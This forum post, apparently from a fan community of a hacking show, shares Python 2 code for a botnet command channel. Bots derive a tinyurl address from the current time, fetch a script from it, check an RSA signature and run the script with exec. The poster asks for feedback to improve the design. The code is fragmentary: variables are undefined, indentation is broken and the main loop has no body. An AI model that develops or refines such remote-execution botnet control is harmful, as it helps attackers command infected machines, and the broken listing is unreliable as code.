Jump to content

Botnet Command; Ep701


Recommended Posts

Hey guys I just watched the show, episode 701, and Mr daren made a comment about everyone beeing able to send commands to the botnet. He also asked what kind of language could be used(and he mentioned python).

Well I think that hashing the script+signing the script using an RSA key would do the trick.. I'm using the tinyurl idea, anyways i wrote a litle piece of code, so everyone could get the idea..

import urllib2
import time
#I'm using the build-in commands to make everything simple to understand.

#i used on purpose a very small rsa key. Here is the private part:

def check_web ():
    i=abs(hash(nowis))   #you MUST change this hashing function!
    print "opening http://tinyurl.com/%s"%i
    if "Please check that the URL entered is correct. To learn more about TinyURL.com, please visit the" in text:
        print "the url did not exist!"
    else :
        print "url found!"
        if "###END###" in text:
                print 'more than one "###END###" in text'
            else:  #will be executed if exception doesn't occur
                if pow(key,exp,rsakey)==abs(hash(script+nowis)):
                    # This is the reason why i wrote it in python:                    
                    exec script
        else :
            print 'no "###END###" in text'

while 1:

and it does work prety well... Note that if i use script+nowis for the hash, it is because i want a command to be executed only once.

And it makes me think, there was a big trojan recently that used the same idea, but with domain names ^^$

Anyways, i'd like some feedback, your ideas..

Edited by N3Ar
Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.
  • Create New...